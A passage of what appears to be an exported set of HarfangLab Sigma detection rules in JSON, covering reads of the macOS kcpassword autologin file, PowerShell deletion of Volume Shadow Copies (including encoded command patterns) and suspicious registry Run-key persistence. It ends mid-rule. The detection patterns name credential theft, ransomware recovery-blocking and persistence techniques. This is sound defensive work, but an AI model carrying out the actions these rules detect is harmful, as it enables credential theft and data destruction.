+  "content": "title: Suspicious Access to macOS Autologon Password File\nid: fcbc82c7-c83f-40e4-891d-7804e51e594a\ndescription: |\n    Detects an attempt to read the content of the kcpassword file which holds users' passwords when autologin is enabled.\n    Adversaries may access the autologon file to acquire credentials in order to impersonate users or elevate privileges.\n    It is recommended to check for malicious behavior by the process accessing the file.\nreferences:\n    - https://www.offsec.com/blog/in-the-hunt-for-the-macos-autologin-setup-process/\n    - https://attack.mitre.org/techniques/T1552/001/\ndate: 2024/06/18\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1552.001\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.SensitiveInformation\n    - classification.macOS.Behavior.CredentialAccess\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n    selection_file:\n        Path: '/Private/etc/kcpassword'\n    selection_read_access:\n        Kind: 'read'\n        ProcessImage|contains: '?'\n\n    # Common exclusion\n    ### system app ###\n    filter_systemapp:\n        Image:\n            - '/System/Library/Services/*'\n            - '/System/Library/PrivateFrameworks/*'\n            - '/System/Library/CoreServices/*'\n            - '/System/Library/Frameworks/CoreServices.framework/*'\n            - '/System/Library/ExtensionKit/Extensions/*'\n            - '/System/Library/Frameworks/*'\n            - '/usr/sbin/filecoordinationd'\n\n    exclusion_systemextension:\n        Image|startswith: '/Library/SystemExtensions/????????-????-????-????-????????????/'\n\n    exclusion_virtualization:\n        Image: '/System/Library/Frameworks/Virtualization.framework/Versions/A/XPCServices/com.apple.Virtualization.VirtualMachine.xpc/Contents/MacOS/com.apple.Virtualization.VirtualMachine'\n\n    ### security tools ###\n\n    exclusion_hurukai:\n        Image: '/Applications/HarfangLab Hurukai.app/Contents/MacOS/hurukai'\n\n    exclusion_fortinet:\n        Image:\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fmon2.app/Contents/MacOS/fmon2'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fcaptmon'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/scanunit'\n\n    exclusion_microsoft_defender:\n        Image:\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon_enterprise.app/Contents/MacOS/wdavdaemon_enterprise'\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon'\n\n    exclusion_fsecure:\n        Image:\n            - '/usr/local/f-secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fsavd.app/Contents/MacOS/fsavd'\n\n    exclusion_bitdefender:\n        Image: '/Library/Bitdefender/AVP/product/bin/BDLDaemon.app/Contents/MacOS/BDLDaemon'\n\n    exclusion_eset:\n        Image:\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_sci'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_gui'\n            - '/Applications/ESET Endpoint Antivirus.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Cyber Security.app/Contents/MacOS/esets_daemon'\n\n    exclusion_withssecure:\n        Image:\n            - '/Library/WithSecure/bin/wsesproviderd.xpc/Contents/MacOS/wsesproviderd'\n            - '/Library/WithSecure/bin/wsavd.app/Contents/MacOS/wsavd'\n\n    exclusion_sentinel:\n        Image: '/Library/Sentinel/sentinel-agent.bundle/Contents/MacOS/sentineld_helper.app/Contents/MacOS/sentineld_helper'\n\n    exclusion_avast:\n        Image: '/Applications/Avast.app/Contents/Backend/utils/com.avast.Antivirus.EndpointSecurity.app/Contents/MacOS/com.avast.Antivirus.EndpointSecurity'\n\n    exclusion_trend:\n        Image: '/Applications/TrendMicroSecurity.app/Contents/Resources/iCoreService.app/Contents/MacOS/iCoreService'\n\n    exclusion_sophos:\n        Image: '/Library/Sophos Anti-Virus/SophosScanAgent.app/Contents/MacOS/SophosScanAgent'\n\n    ### backup sofware ###\n    exclusion_arq:\n        Image: '/Applications/Arq.app/Contents/Resources/ArqAgent.app/Contents/MacOS/ArqAgent'\n\n    # AtempoLiveNavigator\n    exclusion_hnagent:\n        Image: '/Library/Application Support/HN/base/bin/HNagent'\n\n    exclusion_wddesktop:\n        Image:\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/kdd'\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/wdsync'\n\n    ### misc\n    exclusion_vscode:\n        Image:\n            - '/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n            - '/Users/*/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n# end common exclusion\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fcbc82c7-c83f-40e4-891d-7804e51e594a",
+  "rule_name": "Suspicious Access to macOS Autologon Password File",
+  "rule_description": "Detects an attempt to read the content of the kcpassword file which holds users' passwords when autologin is enabled.\nAdversaries may access the autologon file to acquire credentials in order to impersonate users or elevate privileges.\nIt is recommended to check for malicious behavior by the process accessing the file.\n",
+  "rule_creation_date": "2024-06-18",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1552.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fcd5dfad-3e40-4d1a-9173-728d269423d0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070142Z",
+  "creation_date": "2026-03-23T11:45:34.070145Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.070150Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1490/"
+  ],
+  "name": "t1490_powershell_delete_shadowcopy.yml",
+  "content": "title: Volume Shadow Copies Deleted via PowerShell\nid: fcd5dfad-3e40-4d1a-9173-728d269423d0\ndescription: |\n    Detects an attempt to delete Volume Shadow Copies (VSS) using PowerShell via command-line.\n    Attackers often try to delete VSS before encrypting hard drives through ransomwares to prevent data recovery.\n    It is recommended to analyze the process responsible for the deletion to look for malicious content and for other actions linked to ransomware activity.\nreferences:\n    - https://attack.mitre.org/techniques/T1490/\ndate: 2020/12/10\nmodified: 2025/01/09\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1490\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.VolumeShadowCopy\n    - classification.Windows.Behavior.Deletion\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        - Image|endswith: '\\powershell.exe'\n        - OriginalFileName: 'PowerShell.EXE'\n    selection_clear:\n        CommandLine|contains|all:\n            - 'Win32_Shadowcopy'\n            - '.Delete('\n    selection_b64_1:\n        CommandLine|contains:\n            # Win32_Shadowcopy in UTF16LE and base64 (+ 3 different offsets)\n            - 'VwBpAG4AMwAyAF8AUwBoAGEAZABvAHcAYwBvAHAAeQ'\n            - 'cAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkA'\n            - 'XAGkAbgAzADIAXwBTAGgAYQBkAG8AdwBjAG8AcAB5A'\n            # Win32_shadowcopy\n            - 'VwBpAG4AMwAyAF8AcwBoAGEAZABvAHcAYwBvAHAAeQ'\n            - 'cAaQBuADMAMgBfAHMAaABhAGQAbwB3AGMAbwBwAHkA'\n            - 'XAGkAbgAzADIAXwBzAGgAYQBkAG8AdwBjAG8AcAB5A'\n            # win32_shadowcopy\n            - 'dwBpAG4AMwAyAF8AcwBoAGEAZABvAHcAYwBvAHAAeQ'\n            #- 'cAaQBuADMAMgBfAHMAaABhAGQAbwB3AGMAbwBwAHkA'  # same as for Win32_shadowcopy\n            - '3AGkAbgAzADIAXwBzAGgAYQBkAG8AdwBjAG8AcAB5A'\n    selection_b64_2:\n        CommandLine|contains:\n            # .Delete( in UTF16LE and base64 (+ 3 different offsets)\n            - 'LgBEAGUAbABlAHQAZQAoA'\n            - '4ARABlAGwAZQB0AGUAKA'\n            - 'uAEQAZQBsAGUAdABlACgA'\n            # .delete(\n            - 'LgBkAGUAbABlAHQAZQAoA'\n            - '4AZABlAGwAZQB0AGUAKA'\n            - 'uAGQAZQBsAGUAdABlACgA'\n    selection_hex_1:\n        CommandLine|contains:\n            # Win32_Shadowcopy\n            - '57696E33325F536861646F77636F7079'\n            # Win32_shadowcopy\n            - '57696E33325F736861646F77636F7079'\n            # win32_shadowcopy\n            - '77696E33325F736861646F77636F7079'\n    selection_hex_2:\n        CommandLine|contains:\n            # .Delete(\n            - '2E44656C65746528'\n            # .delete(\n            - '2E64656C65746528'\n\n    condition: selection and (selection_clear or (all of selection_b64_*) or (all of selection_hex_*))\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fcd5dfad-3e40-4d1a-9173-728d269423d0",
+  "rule_name": "Volume Shadow Copies Deleted via PowerShell",
+  "rule_description": "Detects an attempt to delete Volume Shadow Copies (VSS) using PowerShell via command-line.\nAttackers often try to delete VSS before encrypting hard drives through ransomwares to prevent data recovery.\nIt is recommended to analyze the process responsible for the deletion to look for malicious content and for other actions linked to ransomware activity.\n",
+  "rule_creation_date": "2020-12-10",
+  "rule_modified_date": "2025-01-09",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1490"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fd2e4d65-00d6-4661-a5f4-ad92fe8d4540",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.620422Z",
+  "creation_date": "2026-03-23T11:45:34.620424Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.620429Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1547/001/"
+  ],
+  "name": "t1547_001_suspicious_persistence_registry_asep.yml",
+  "content": "title: Suspicious Registry Autorun Key Added\nid: fd2e4d65-00d6-4661-a5f4-ad92fe8d4540\ndescription: |\n    Detects when a suspicious entry is added or modified in one of the autostart extensibility points (ASEP) in the registry, which may indicate an attempt to establish persistence.\n    Autostart extensibility points are registry locations that Windows uses to automatically execute programs during system startup or user logon. Common ASEP locations include Run and RunOnce keys under \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\" and \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\". Attackers frequently abuse these registry keys to achieve persistence by adding entries that reference malicious executables, scripts, or commands. This technique allows malware to survive system reboots and maintain a foothold on the compromised system without requiring user interaction.\n    It is recommended to investigate the process that created or modified the registry key, examine the target executable or command referenced in the registry value and verify whether the entry corresponds to legitimate software.\nreferences:\n    - https://attack.mitre.org/techniques/T1547/001/\ndate: 2023/06/22\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1547.001\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_key:\n        EventType: 'SetValue'\n        TargetObject|contains:\n            # run keys (run / runonce / runonceex / runservices / runservicesonce )\n            - '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\'\n            - '\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\'\n            # covers RunOnce and RunOnce\\Setup\n            - '\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\'\n            - '\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\'\n            # covers RunOnceEx\\000x\\value and RunOnceEx\\000x\\Depend\\value\n            - '\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\'\n            - '\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\'\n\n    selection_details:\n        - Details|contains:\n            - 'rundll32.exe'\n            - 'pwsh.exe'\n            - 'powershell.exe'\n            - 'cmd.exe'\n            - 'mshta.exe'\n            - 'wscript.exe'\n            - 'cscript.exe'\n            - '\\AppData\\Roaming\\'\n            - '\\Users\\Public\\'\n            - '\\Users\\Default\\'\n            - '\\PerfLogs\\'\n        - Details|endswith:\n            # wscript\n            - '.js'\n            - '.jse'\n            - '.vbs'\n            - '.vbe'\n            - '.vb'\n            - '.vba'\n            - '.wsf'\n            - '.wsh'\n            # mshta\n            - '.hta'\n            # powershell\n            - '.ps1'\n            - '.psc1'\n            - '.psm1'\n            - '.psd1'\n            # misc, behaves like .exe but uncommon\n            - '.cmd'\n            - '.com'\n            - '.pif'\n            - '.scr'\n\n    # This is handled by the rule 907e5765-e7f7-4b8f-886c-749bf315fe52\n    filter_remote:\n        ProcessCommandLine:\n            - '?:\\WINDOWS\\system32\\svchost.exe -k localService -p -s RemoteRegistry'\n            - '?:\\Windows\\system32\\svchost.exe -k LocalService'\n            - '?:\\Windows\\system32\\svchost.exe -k regsvc'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    # Exclusion for rundll32.exe\n    exclusion_rundll32:\n        Details:\n            - 'rundll32.exe ?:\\WINDOWS\\system32\\eed_ec.dll,SpeedLauncher'\n            - 'Rundll32.exe printui.dll,PrintUIEntry /m ?HP Delivery Driver? /dd /q'\n            - 'rundll32.exe ?:\\windows\\system32\\iernonce.dll,RunOnceExProcess'\n            - 'RunDll32.exe ??:\\Program Files\\\\*'\n            - 'RunDll32.exe ??:\\Program Files (x86)\\\\*'\n\n    exclusion_canon:\n        # rundll32.exe DR201SVC.dll,EntryPointUserMessage\n        # rundll32.exe DRC230SVC.dll, EntryPointUserMessage\n        # rundll32.exe P208IISvc.dll, EntryPointUserMessage\n        Details: 'rundll32.exe *EntryPointUserMessage'\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\CANON *'\n    exclusion_wextract:\n        Details: 'rundll32.exe ?:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 *'\n        TargetObject|contains: '\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\wextract_cleanup'\n    exclusion_f5:\n        Details:\n            - 'rundll32.exe ??:\\Windows\\Downloaded Program Files\\urxdialer.dll?,Run /cleanup'\n            - 'rundll32.exe ??:\\Windows\\Downloaded Program Files\\\\*\\urxdialer.dll?,Run /cleanup'\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\F5 Networks VPN Cleanup {????????-????-????-????-????????????}'\n    exclusion_logitech_1:\n        ProcessImage: '?:\\Windows\\System32\\drvinst.exe'\n        Details: '?:\\Windows\\system32\\rundll32.exe ?:\\Windows\\System32\\LogiLDA.dll,LogiFetch'\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Logitech Download Assistant'\n    exclusion_fuji:\n        ProcessCommandLine|contains:\n            - '?:\\Program Files\\Fuji Medical System\\Synapse\\Workstation\\FujiFldL.dll'\n            - '?:\\Program Files (x86)\\Fuji Medical System\\Synapse\\Workstation\\FujiFldL.dll'\n        Details: 'RUNDLL32.EXE ?:\\PROGRA*\\FUJIME*\\Synapse\\WORKS*\\FujiFldL.dll,ConfigureSynapseUrlSearchHook'\n    exclusion_streamci:\n        ProcessImage: '?:\\WINDOWS\\servicing\\TrustedInstaller.exe'\n        Details: 'rundll32.exe streamci,StreamingDeviceSetup {*},{*},{*}*'\n\n    # Exclusion for cmd.exe\n    exclusion_uninstall:\n        Details: '?:\\windows\\system32\\cmd.exe /q /c rmdir /s /q *'\n        TargetObject|contains: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\Uninstall '\n    exclusion_delete:\n        Details: '?:\\Windows\\system32\\cmd.exe /q /c del /q *'\n        TargetObject|contains:\n          - '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\Delete Cached Update Binary'\n          - '\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\Delete Cached Update Binary'\n          - '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\Delete Cached Standalone Update Binary'\n          - '\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\Delete Cached Standalone Update Binary'\n    exclusion_msiexec:\n        ProcessCommandLine:\n            - '?:\\WINDOWS\\system32\\msiexec.exe /V'\n            - '?:\\Windows\\System32\\MsiExec.exe -Embedding *'\n        TargetObject|contains: '\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\'\n    exclusion_nch:\n        Details: 'cmd.exe /C rmdir *\\AppData\\Roaming\\NCH Software*'\n        TargetObject|contains: '\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\ExpressZipUninstall'\n    exclusion_sophos:\n        ProcessSigned: 'true'\n        ProcessSignature: 'Sophos Ltd'\n        Details: 'cmd.exe /c IF EXIST ??:\\Program Files (x86)\\Sophos\\AutoUpdate\\SophosAlert.exe? start ?Sophos? /B ??:\\Program Files (x86)\\Sophos\\AutoUpdate\\SophosAlert.exe?'\n        TargetObject: 'HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\SophosAlert'\n    exclusion_softmon:\n        ProcessImage: '?:\\Program Files (x86)\\LANDesk\\LDClient\\SoftMon.exe'\n        Details:\n            - '??:\\Program Files (x86)\\LANDesk\\LDClient\\softmon.exe? /r ?:\\windows\\system32\\cmd.exe /q /c del *'\n            - '??:\\Program Files (x86)\\LANDesk\\LDClient\\softmon.exe? /r ?:\\windows\\system32\\cmd.exe /q /c rmdir *'\n        TargetObject:\n            - '*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\Uninstall *'\n            - '*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\Delete *'\n    exclusion_bomgar:\n        Details:\n            - 'cmd.exe /C rd /S /Q * & reg.exe delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Bomgar_Cleanup_* /f'\n            - 'cmd.exe /C del /Q * & reg.exe delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Bomgar_Cleanup_* /f'\n            - 'cmd.exe /C del /Q * & wmic.exe /NAMESPACE:\\\\root\\default Class StdRegProv Call DeleteValue hDefKey=* sSubKeyName=?Software\\Microsoft\\Windows\\CurrentVersion\\Run? sValueName=?Bomgar_Cleanup_*'\n        TargetObject: '*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Bomgar_Cleanup_*'\n    exclusion_ldmsremovetempdir:\n        Details:\n            - 'cmd.exe /C RD /S /Q ?:\\Users\\\\*\\AppData\\Local\\Temp\\$LDTmp$'\n            - 'cmd.exe /C RD /S /Q ?:\\WINDOWS\\TEMP\\$LDTmp$'\n        TargetObject: '*\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\LdmsRemoveTempDir'\n    exclusion_mcafee:\n        Details:\n            - 'cmd.exe /C rmdir /s /q ??:\\ProgramData\\McAfee\\Endpoint Security?'\n            - 'cmd.exe /C rmdir /s /q ??:\\Program Files (x86)\\McAfee\\Endpoint Security\\\\?'\n            - 'cmd.exe /C rmdir /s /q ??:\\ProgramData\\McAfee\\Solidcore?'\n            - 'cmd.exe /C rmdir /s /q ??:\\Program Files\\McAfee\\Solidcore?'\n        TargetObject|endswith:\n            - '\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\EPR_ENS_?'\n            - '\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\EPR_MACC_?'\n    exclusion_citrix:\n        Details: 'PowerShell.exe -WindowStyle hidden -Command \"(Get-Item HKCU:\\Software\\Citrix\\UserProfileManager\\RegUwpApps).Property|%{Get-ItemPropertyValue HKCU:\\Software\\Citrix\\UserProfileManager\\RegUwpApps -name $_}|%{Add-AppxPackage -Register $_ -DisableDevelopmentMode}\"'\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\RegisterUwpApps'\n    exclusion_citrix_userprofilemanager:\n        ProcessImage: '?:\\Program Files\\Citrix\\User Profile Manager\\UserProfileManager.exe'\n    exclusion_hp:\n        Details: 'cmd.exe /c ?manage-bde.exe -resume C:?'\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\Resume-bde-C'\n\n    # Exclusion for wscript.exe\n    exclusion_kaspersky:\n        ProcessImage: '?:\\Windows\\SysWOW64\\regedit.exe'\n        Details: 'wscript.exe //b ?:\\\\*\\UnKES.vbs'\n        TargetObject: 'HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\UnKES'\n    exclusion_appremover:\n        ProcessImage|endswith: '\\rm.exe'\n        Details:\n            - 'wscript.exe *\\Temp\\AppRemover_RunBatchSilently.vbs*\\TEMP\\AppRemover_ToBeDelAfterReboot.bat'\n            - 'wscript.exe *\\Temp\\AppRemover_RunBatchSilently.vbs*\\TEMP\\AppRemover_ToBeDelAfterReboot.bat?'\n        TargetObject|endswith: '\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\AppRemover'\n    exclusion_litetouch:\n        Details: 'wscript.exe ??:\\MININT\\Scripts\\LiteTouch.wsf?'\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\LiteTouch'\n\n    # Exclusion for \\AppData\\Roaming\\\n    exclusion_ISI-Com:\n        Details|endswith: '\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\ISI-Com\\ISIPCB.appref-ms'\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ISIPCB'\n    exclusion_myistra:\n        # \\AppData\\Roaming\\Mediacom\\myIstra\\Bin\\myIstra.exe\n        ProcessImage|endswith: '\\Bin\\myIstra.exe'\n        Details|contains:\n            - '\\AppData\\Roaming\\Mediacom\\myIstra\\Bin\\myIstra.exe'\n            - '\\AppData\\Roaming\\Adista\\myIstra\\Bin\\myIstra.exe'\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\myIstra'\n    exclusion_secureexchanges:\n        # https://www.secure-exchanges.com/Home.aspx\n        Details|endswith:\n            - '\\AppData\\Roaming\\SecureExchanges\\SEWD\\900?_SEWD.exe\"'\n            - '\\AppData\\Roaming\\SecureExchanges\\SEWD\\900?_SEWD.exe'\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\SecureExchanges'\n    exclusion_webcompanion:\n        # Here, we use \"contains\" instead of \"endswith\" because there may be some spaces at the end\n        Details|contains: '\\AppData\\Roaming\\Lavasoft\\Web Companion\\Application\\WebCompanion.exe --minimize'\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Web Companion'\n    exclusion_moveslink2:\n        # Suunto device\n        Details|endswith: '\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Suunto\\Moveslink2.appref-ms -auto'\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Moveslink2'\n    exclusion_ixbus:\n        Details|endswith: '\\AppData\\Roaming\\SRCI\\iXBus Websocket\\iXBus WebSocket.exe'\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\iXBus WebSocket'\n    exclusion_yealink:\n        Details|endswith: '\\AppData\\Roaming\\Yealink\\Yealink Wireless Presentation Pod\\app\\PresentationLauncher.exe sys'\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\StartLoad'\n    exclusion_cisco_1:\n        Details|endswith:\n            - '\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Webex\\Webex.lnk /minimized /autostartedWithWindows=true'\n            - '\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Webex\\Webex.lnk? /minimized /autostartedWithWindows=true'\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\CiscoSpark'\n    exclusion_zoom:\n        ProcessSigned: 'true'\n        ProcessSignature: 'Zoom Video Communications, Inc.'\n        Details:\n            - '??:\\Users\\\\*\\AppData\\Roaming\\Zoom\\bin\\Zoom.exe? --background=true'\n            - '??:\\Users\\\\*\\AppData\\Roaming\\Zoom\\bin\\Zoom.exe?'\n    exclusion_adobe:\n        ProcessImage:\n            - '*\\Adobe\\AdobeConnect\\Installer\\ConnectAppSetup.exe'\n            - '*\\Adobe\\Adobe Connect\\ConnectAppSetup.exe'\n            - '*\\Sources\\SetupHost.exe'\n            - '?:\\Windows\\System32\\msiexec.exe'\n        Details:\n            - '??:\\Users\\\\*\\AppData\\Roaming\\Adobe\\Connect\\connectdetector.exe?'\n            - '??:\\windows\\system32\\config\\systemprofile\\AppData\\Roaming\\Adobe\\Connect\\connectdetector.exe?'\n        TargetObject: '*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ConnectDetector'\n    exclusion_adobe_2:\n        ProcessSigned: 'true'\n        ProcessOriginalFileName: 'ConnectAppSetup.exe'\n        Details:\n            - '??:\\Users\\\\*\\AppData\\Roaming\\Adobe\\Connect\\connectdetector.exe?'\n            - '??:\\windows\\system32\\config\\systemprofile\\AppData\\Roaming\\Adobe\\Connect\\connectdetector.exe?'\n        TargetObject: '*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ConnectDetector'\n    exclusion_adobe_3:\n        ProcessSigned: 'true'\n        ProcessOriginalFileName: 'msiexec.exe'\n        Details: '??:\\windows\\system32\\config\\systemprofile\\AppData\\Roaming\\Adobe\\Connect\\connectdetector.exe?'\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ConnectDetector'\n    exclusion_exclaimer:\n        # C:\\Program Files (x86)\\Exclaimer Ltd\\Cloud Signature Update Agent\\Exclaimer.CloudSignatureAgent.exe\n        ProcessImage|endswith: '\\Exclaimer.CloudSignatureAgent.exe'\n        Details: '??:\\Users\\\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Exclaimer Ltd\\Exclaimer Cloud Signature Update Agent.appref-ms?'\n        TargetObject: '*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Exclaimer Cloud Signature Update Agent'\n    exclusion_restart:\n        